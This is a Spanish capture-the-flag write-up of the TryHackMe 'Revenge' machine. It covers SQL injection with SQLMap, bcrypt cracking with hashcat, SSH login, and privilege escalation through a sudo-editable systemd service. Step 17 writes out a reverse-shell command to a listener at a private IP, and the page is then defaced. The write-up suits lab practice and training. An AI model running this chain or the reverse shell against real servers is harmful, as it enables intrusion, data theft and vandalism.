XUT_ / MACHINES / THM

0061

Revenge

THMMACHINENONEMEDIUM

Message from Billy Joel

revenge

Billy Joel te ha mandado un mensaje en relación a tu misión.

revenge

txt
To whom it may concern,

I know it was you who hacked my blog.  I was really impressed with your skills.  You were a little sloppy 
and left a bit of a footprint so I was able to track you down.  But, thank you for taking me up on my offer.  
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.  
For that reason, I'll let you do your own enumeration and checking.

What I want you to do is simple.  Break into the server that's running the website and deface the front page.  
I don't care how you do it, just do it.  But remember...DO NOT BRING DOWN THE SITE!  We don't want to cause irreparable damage.

When you finish the job, you'll get the rest of your payment.  We agreed upon $5,000.  
Half up-front and half when you finish.

Good luck,

Billy

La traducción:

txt
A quien corresponda:

Sé que fuiste tú quien hackeó mi blog. Me impresionaron mucho tus habilidades. Fuiste un poco descuidado,

y dejaste algunas huellas, así que pude rastrearte. Pero gracias por aceptar mi oferta.

He realizado una evaluación inicial del sitio porque sé algunas cosas sobre hacking, pero no lo suficiente.

Por eso, te dejo que hagas tu propia evaluación y comprobación.

Lo que quiero que hagas es simple: accede al servidor que aloja el sitio web y modifica la página principal.

No me importa cómo lo hagas, solo hazlo. Pero recuerda: ¡NO DEJES EL SITIO FUERA DE SERVICIO! No queremos causar daños irreparables.

Cuando termines el trabajo, recibirás el resto del pago. Acordamos $5,000.

La mitad por adelantado y la otra mitad al terminar.

Buena suerte,

Billy

Revengeee

revenge

¡Esta es la venganza! Billy Joel te ha contratado para introducirte y defacear (modificar la página principal) la página de Rubber Ducky Inc.. Él fue despedido, probablemente por buenos motivos pero a quién le importa, tú estás aquí por la pasta. ¿Puedes completar tu parte del trato?

Finding the flags

  1. Vamos a la página que nos dan. revenge Una vez allí investigamos las páginas y encontramos algunas:
    • Home
    • Products
    • Contact
    • Login
  2. Pero como somos gente curiosa no nos quedamos ahí y vamos a hacer un escaneo más profundo con nuestra herramienta de elección. En mi caso voy a usar gobuster. revenge Hemos encontrado dos directorios que no aparecían directamente en la web, aunque el directorio /static parece estas en estado 403 Forbbiden.
  3. Comprobamos lo que hay en /admin. revenge Parece que hemos encontrado el login del administrador, pero no tenemos credenciales (todavía).
  4. Vamos a hacer un nmap, no sea que estemos pasando algo por alto. revenge Parece que está abierto el puerto SSH, hmmm...
  5. Volvamos a investigar el resto de las páginas. No vemos nada interesante (más allá de la página de login normal, pero nosotros ya tenemos la del admin) hasta que llegamos a la página /products. revenge
  6. Si hacemos click en alguno de los productos, vemos que en la URL aparece un número (que pareciera ser el ID del producto en cuestión). revenge
  7. Si probamos a cambiar ese número por uno que no exista, como 0, vemos que el servidor no responde con un 404 Not Found, sino con un 500 Internal Server Error, por lo que sabemos que esos números no son páginas html sino en efecto IDs que se están comprobando en una base de datos. revenge
  8. Vamos a probar la herramienta SQLMap con esta URL. revenge
  9. Después de esperar un poco, obtenemos las bases de datos: revenge
  10. Ahora sólo queda ir abriéndonos paso hasta dar con las credenciales de un administrador.
    1. Primero sacamos las tablas. revenge
    2. Luego dumpeamos la tabla que nos interesa (en nuestro caso los usuarios más interesantes estarán en system_user). revenge ¡Vaya! Parece que están hasheadas. Bueno, eso no va a ser un impedimento para nosotros.
  11. Antes de continuar vamos a ver que hay en la tabla users también. revenge Vaya vaya, parece que aquí tenemos nuestra primera flag.
  12. Cogemos la contraseña hasheada del administrador. Por el comienzo sabemos que es un bcrypt. Vamos a descifrarla.
    1. Buscamos el tipo de hash. Y metemos el nuestro en un archivo. revenge
    2. Lo deshasheamos con la herramienta hashcat. revenge
  13. Vamos a loguearnos. Pero lo vamos a hacer por SSH en el servidor, ya que no tiene mucho sentido hacerlo en la página, cuando lo que queremos es hacerle un deface a la página. revenge Estamos dentro, veamos qué hay por aquí.
  14. Hacemos un ls y ¡sorpresa! revenge
  15. Sólo nos queda hacer el deface. Pero antes vamos a mirar que hay en /root, ¿no? Por curiosidad. revenge Vaya, parece que nos hemos encontrado un problema, tendremos que escalar privilegios.
  16. Veamos qué comandos podemos ejecutar: con sudo -l. revenge Parece que podemos jugar con un servicio como root... ¡y encima podemos editarlo! Ya está, el cóctel perfecto.
  17. Vamos a editar dicho servicio. Como sabemos que lo ejecuta el sistema (es decir que tiene permisos de administrador) vamos a intentar mandarnos una reverse shell.
    1. Vamos a la página de Shell Generator y buscamos una que nos guste. revenge
    2. Nos ponemos en escucha. revenge
    3. Editamos el servicio para que ejecute el siguiente comando: sh -i >& /dev/tcp/192.168.129.186/9000 0>&1, el cual nos mandará una reverse shell. revenge revenge
    4. Debemos editar el ExecStart y el usuario que lo ejecuta. revenge
  18. Hacemos un reload del daemon seguido de un restart del servicio, que eran dos comandos a los que también teníamos acceso. revenge
  19. Y tal cual acabamos de conseguir ser root. revenge
  20. Ahora sí vamos a mirar qué hay en /root seguro que está la flag. revenge Pues no xD
  21. Bueno, vamos a hacer lo que nos pedía el reto, hacerle un defacement a la página principal. revenge Como estoy de mal humor porque no he visto la flag todavia mando la página principal a la mierda >:(
  22. A ver si ahora ya está la flag por algún sitio. revenge

pwned by xut